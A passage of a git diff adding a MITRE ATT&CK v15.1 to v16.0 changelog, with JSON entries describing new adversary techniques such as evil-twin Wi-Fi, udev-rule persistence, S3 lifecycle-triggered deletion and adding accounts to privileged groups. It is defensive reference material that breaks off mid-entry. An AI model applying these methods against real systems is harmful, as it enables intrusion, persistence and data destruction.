STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace

[DS0028] Logon Session

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-12-07T19:45:09.019Z2024-10-14T22:11:30.271Z
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace
x_mitre_platformsOffice 365

[DS0002] User Account

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-12-07T19:50:43.993Z2024-10-14T22:11:30.271Z
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace
x_mitre_platformsOffice 365

[DS0006] Web Credential

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-03-30T14:26:51.807Z2024-10-14T22:11:30.271Z
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace
x_mitre_platformsOffice 365

ics-attack

Patches

[DS0015] Application Log

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-05-11T14:00:00.188Z2024-10-14T22:11:30.271Z
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsGoogle Workspace
x_mitre_platformsOffice 365

[DS0028] Logon Session

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-12-07T19:45:09.019Z2024-10-14T22:11:30.271Z
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace
x_mitre_platformsOffice 365

[DS0002] User Account

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-12-07T19:50:43.993Z2024-10-14T22:11:30.271Z
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace
x_mitre_platformsOffice 365
+ + + \ No newline at end of file diff --git a/modules/resources/docs/changelogs/v15.1-v16.0/changelog.json b/modules/resources/docs/changelogs/v15.1-v16.0/changelog.json new file mode 100644 index 00000000000..9b8034be9e6 --- /dev/null +++ b/modules/resources/docs/changelogs/v15.1-v16.0/changelog.json @@ -0,0 +1,38976 @@ +{ + "enterprise-attack": { + "techniques": { + "additions": [ + { + "type": "attack-pattern", + "id": "attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-05 20:49:49.809000+00:00", + "modified": "2024-10-14 14:32:08.926000+00:00", + "name": "Additional Local or Domain Groups", + "description": "An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\n\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)\n\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. \n\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/007", + "external_id": "T1098.007" + }, + { + "source_name": "Linux Usermod", + "description": "Man7. (n.d.). Usermod. Retrieved August 5, 2024.", + "url": "https://www.man7.org/linux/man-pages/man8/usermod.8.html" + }, + { + "source_name": "Microsoft Net Group", + "description": "Microsoft. (2016, August 31). Net group. Retrieved August 5, 2024.", + "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754051(v=ws.11)" + }, + { + "source_name": "Microsoft Net Localgroup", + "description": "Microsoft. (2016, August 31). Net Localgroup. Retrieved August 5, 2024.", + "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc725622(v=ws.11)" + }, + { + "source_name": "Microsoft RDP Logons", + "description": "Microsoft. (2017, April 9). Allow log on through Remote Desktop Services. Retrieved August 5, 2024.", + "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/allow-log-on-through-remote-desktop-services" + }, + { + "source_name": "RootDSE AD Detection 2022", + "description": "Scarred Monk. (2022, May 6). Real-time detection scenarios in Active Directory environments. Retrieved August 5, 2024.", + "url": "https://rootdse.org/posts/monitoring-realtime-activedirectory-domain-scenarios" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Madhukar Raina (Senior Security Researcher - Hack The Box, UK)" + ], + "x_mitre_data_sources": [ + "User Account: User Account Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--48b836c6-e4ca-435a-82a3-29c03e5b492e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-17 14:27:40.947000+00:00", + "modified": "2024-10-13 15:40:18.743000+00:00", + "name": "Evil Twin", + "description": "Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia \u2018Evil Twin\u2019)\n\nBy using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.(Citation: Kaspersky evil twin)(Citation: medium evil twin) Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.(Citation: specter ops evil twin) A Wi-Fi Pineapple \u2013 a network security auditing and penetration testing tool \u2013 may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. \n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.(Citation: specter ops evil twin) Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim\u2019s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1557/004", + "external_id": "T1557.004" + }, + { + "source_name": "Kaspersky evil twin", + "description": "AO Kaspersky Lab. (n.d.). Evil twin attacks and how to prevent them. Retrieved September 17, 2024.", + "url": "https://usa.kaspersky.com/resource-center/preemptive-safety/evil-twin-attacks" + }, + { + "source_name": "medium evil twin", + "description": "Gihan, Kavishka. (2021, August 8). Wireless Security\u2014 Evil Twin Attack. Retrieved September 17, 2024.", + "url": "https://kavigihan.medium.com/wireless-security-evil-twin-attack-d3842f4aef59" + }, + { + "source_name": "specter ops evil twin", + "description": "Ryan, Gabriel. (2019, October 28). Modern Wireless Tradecraft Pt I \u2014 Basic Rogue AP Theory \u2014 Evil Twin and Karma Attacks. Retrieved September 17, 2024.", + "url": "https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee" + }, + { + "source_name": "Australia \u2018Evil Twin\u2019", + "description": "Toulas, Bill. (2024, July 1). Australian charged for \u2018Evil Twin\u2019 WiFi attack on plane. Retrieved September 17, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/australian-charged-for-evil-twin-wifi-attack-on-plane/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-28 14:14:18.512000+00:00", + "modified": "2024-10-16 13:08:35.629000+00:00", + "name": "Publish/Subscribe Protocols", + "description": "Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as MQTT, XMPP, AMQP, and STOMP use a publish/subscribe design, with message distribution managed by a centralized broker.(Citation: wailing crab sub/pub)(Citation: Mandiant APT1 Appendix) Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics.(Citation: wailing crab sub/pub) An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1071/005", + "external_id": "T1071.005" + }, + { + "source_name": "wailing crab sub/pub", + "description": "Hammond, Charlotte. Villadsen, Ole. Metrick, Kat.. (2023, November 21). Stealthy WailingCrab Malware misuses MQTT Messaging Protocol. Retrieved August 28, 2024.", + "url": "https://securityintelligence.com/x-force/wailingcrab-malware-misues-mqtt-messaging-protocol/" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Domenico Mazzaferro Palmeri", + "Sofia Sanchez Margolles" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Linux", + "Windows", + "Network" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-05 18:19:42.201000+00:00", + "modified": "2024-10-01 15:19:54.163000+00:00", + "name": "Lua", + "description": "Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (.lua), or from Lua-embedded programs (through the struct lua_State).(Citation: Lua main page)(Citation: Lua state)\n\nLua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.(Citation: PoetRat Lua)(Citation: Lua Proofpoint Sunseed)(Citation: Cyphort EvilBunny)(Citation: Kaspersky Lua)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/011", + "external_id": "T1059.011" + }, + { + "source_name": "Kaspersky Lua", + "description": "Global Research and Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 5, 2024.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07190154/The-ProjectSauron-APT_research_KL.pdf" + }, + { + "source_name": "Lua main page", + "description": "Lua. (2024, June 25). Getting started. Retrieved August 5, 2024.", + "url": "https://www.lua.org/start.html" + }, + { + "source_name": "Lua state", + "description": "Lua. (n.d.). lua_State. Retrieved August 5, 2024.", + "url": "https://pgl.yoyo.org/luai/i/lua_State" + }, + { + "source_name": "Cyphort EvilBunny", + "description": "Marschalek, Marion. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved August 5, 2024.", + "url": "https://web.archive.org/web/20150311013500/http:/www.cyphort.com/evilbunny-malware-instrumented-lua/" + }, + { + "source_name": "PoetRat Lua", + "description": "Mercer, Warren. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves. Retrieved August 5, 2024.", + "url": "https://blog.talosintelligence.com/poetrat-update/" + }, + { + "source_name": "Lua Proofpoint Sunseed", + "description": "Raggi, Michael. Cass, Zydeca. The Proofpoint Threat Research Team.. (2022, March 1). Asylum Ambuscade: State Actor Uses Lua-based Sunseed Malware to Target European Governments and Refugee Movement. Retrieved August 5, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Script: Script Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1001e0d6-ee09-4dfc-aa90-e9320ffc8fe4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-25 13:16:14.166000+00:00", + "modified": "2024-10-16 21:27:02.481000+00:00", + "name": "Lifecycle-Triggered Deletion", + "description": "Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within. \n\nCloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time.(Citation: AWS Storage Lifecycles)(Citation: GCP Storage Lifecycles)(Citation: Azure Storage Lifecycles) If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. \n\nFor example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day.(Citation: Palo Alto Cloud Ransomware) In addition to destroying data for purposes of extortion and [Financial Theft](https://attack.mitre.org/techniques/T1657), adversaries may also perform this action on buckets storing cloud logs for [Indicator Removal](https://attack.mitre.org/techniques/T1070).(Citation: Datadog S3 Lifecycle CloudTrail Logs)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1485/001", + "external_id": "T1485.001" + }, + { + "source_name": "AWS Storage Lifecycles", + "description": "AWS. (n.d.). Managing the lifecycle of objects. Retrieved September 25, 2024.", + "url": "https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html" + }, + { + "source_name": "GCP Storage Lifecycles", + "description": "Google Cloud. (n.d.). Object Lifecycle Management. Retrieved September 25, 2024.", + "url": "https://cloud.google.com/storage/docs/lifecycle" + }, + { + "source_name": "Azure Storage Lifecycles", + "description": "Microsoft Azure. (2024, July 3). Configure a lifecycle management policy. Retrieved September 25, 2024.", + "url": "https://learn.microsoft.com/en-us/azure/storage/blobs/lifecycle-management-policy-configure?tabs=azure-portal" + }, + { + "source_name": "Palo Alto Cloud Ransomware", + "description": "Ofir Balassiano and Ofir Shaty. (2023, November 29). Ransomware in the Cloud: Breaking Down the Attack Vectors. Retrieved September 25, 2024.", + "url": "https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/" + }, + { + "source_name": "Datadog S3 Lifecycle CloudTrail Logs", + "description": "Stratus Red Team. (n.d.). CloudTrail Logs Impairment Through S3 Lifecycle Rule. Retrieved September 25, 2024.", + "url": "https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Cloud Storage: Cloud Storage Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-01 20:06:13.664000+00:00", + "modified": "2024-10-17 14:36:24.983000+00:00", + "name": "Customer Relationship Management Software", + "description": "Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data.\n\nOnce adversaries gain access to a victim organization, they may mine CRM software for customer data. This may include personally identifiable information (PII) such as full names, emails, phone numbers, and addresses, as well as additional details such as purchase histories and IT support interactions. By collecting this data, an adversary may be able to send personalized [Phishing](https://attack.mitre.org/techniques/T1566) emails, engage in SIM swapping, or otherwise target the organization\u2019s customers in ways that enable financial gain or the compromise of additional organizations.(Citation: Bleeping Computer US Cellular Hack 2022)(Citation: Bleeping Computer Mint Mobile Hack 2021)(Citation: Bleeping Computer Bank Hack 2020)\n\nCRM software may be hosted on-premises or in the cloud. Information stored in these solutions may vary based on the specific instance or environment. Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho, Zendesk, and HubSpot.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213/004", + "external_id": "T1213.004" + }, + { + "source_name": "Bleeping Computer Bank Hack 2020", + "description": "Ionut Ilascu. (2020, January 16). Customer-Owned Bank Informs 100k of Breach Exposing Account Balance, PII. Retrieved July 1, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/customer-owned-bank-informs-100k-of-breach-exposing-account-balance-pii/" + }, + { + "source_name": "Bleeping Computer Mint Mobile Hack 2021", + "description": "Lawrence Abrams. (2021, July 10). Mint Mobile hit by a data breach after numbers ported, data accessed. Retrieved July 1, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/mint-mobile-hit-by-a-data-breach-after-numbers-ported-data-accessed/" + }, + { + "source_name": "Bleeping Computer US Cellular Hack 2022", + "description": "Sergiu Gatlan. (2022, January 4). UScellular discloses data breach after billing system hack. Retrieved July 1, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/uscellular-discloses-data-breach-after-billing-system-hack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Centre for Cybersecurity Belgium (CCB)" + ], + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-30 13:50:42.023000+00:00", + "modified": "2024-10-16 14:22:49.146000+00:00", + "name": "Messaging Applications", + "description": "Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: \n\n* Testing / development credentials (i.e., [Chat Messages](https://attack.mitre.org/techniques/T1552/008)) \n* Source code snippets \n* Links to network shares and other internal resources \n* Proprietary data(Citation: Guardian Grand Theft Auto Leak 2022)\n* Discussions about ongoing incident response efforts(Citation: SC Magazine Ragnar Locker 2021)(Citation: Microsoft DEV-0537)\n\nIn addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.(Citation: Sentinel Labs NullBulge 2024)(Citation: Permiso Scattered Spider 2023)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213/005", + "external_id": "T1213.005" + }, + { + "source_name": "Sentinel Labs NullBulge 2024", + "description": " Jim Walter. (2024, July 16). NullBulge | Threat Actor Masquerades as Hacktivist Group Rebelling Against AI. Retrieved August 30, 2024.", + "url": "https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/" + }, + { + "source_name": "Permiso Scattered Spider 2023", + "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.", + "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud" + }, + { + "source_name": "SC Magazine Ragnar Locker 2021", + "description": "Joe Uchill. (2021, December 3). Ragnar Locker reminds breach victims it can read the on-network incident response chat rooms. Retrieved August 30, 2024.", + "url": "https://www.scmagazine.com/analysis/ragnar-locker-reminds-breach-victims-it-can-read-the-on-network-incident-response-chat-rooms" + }, + { + "source_name": "Guardian Grand Theft Auto Leak 2022", + "description": "Keza MacDonald, Keith Stuart and Alex Hern. (2022, September 19). Grand Theft Auto 6 leak: who hacked Rockstar and what was stolen?. Retrieved August 30, 2024.", + "url": "https://www.theguardian.com/games/2022/sep/19/grand-theft-auto-6-leak-who-hacked-rockstar-and-what-was-stolen" + }, + { + "source_name": "Microsoft DEV-0537", + "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein", + "Obsidian Security" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f4c3f644-ab33-433d-8648-75cc03a95792", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-26 17:02:09.888000+00:00", + "modified": "2024-10-17 20:17:53.469000+00:00", + "name": "Udev Rules", + "description": "Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content\u2019s process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/017", + "external_id": "T1546.017" + }, + { + "source_name": "Ignacio Udev research 2024", + "description": "Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.", + "url": "https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/" + }, + { + "source_name": "Elastic Linux Persistence 2024", + "description": "Ruben Groenewoud. (2024, August 29). Linux Detection Engineering - A Sequel on Persistence Mechanisms. Retrieved October 16, 2024.", + "url": "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms" + }, + { + "source_name": "Reichert aon sedexp 2024", + "description": "Zachary Reichert. (2024, August 19). Unveiling \"sedexp\": A Stealthy Linux Malware Exploiting udev Rules. Retrieved September 26, 2024.", + "url": "https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Eduardo Gonz\u00e1lez Hern\u00e1ndez (@codexlynx)", + "Eder P\u00e9rez Ignacio, @ch4ik0", + "Wirapong Petshagun", + "@grahamhelton3", + "Ruben Groenewoud, Elastic" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor file creation and modification of Udev rule files in `/etc/udev/rules.d/`, `/lib/udev/rules.d/`, and /usr/lib/udev/rules.d/, specifically the `RUN` action key commands.(Citation: Ignacio Udev research 2024) ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-19 14:00:03.401000+00:00", + "modified": "2024-10-28 16:22:25.431000+00:00", + "name": "Mutual Exclusion", + "description": "Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes)\n\nWhile local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes.(Citation: Microsoft Mutexes) By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.(Citation: Sans Mutexes 2012)\n\nIn Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits 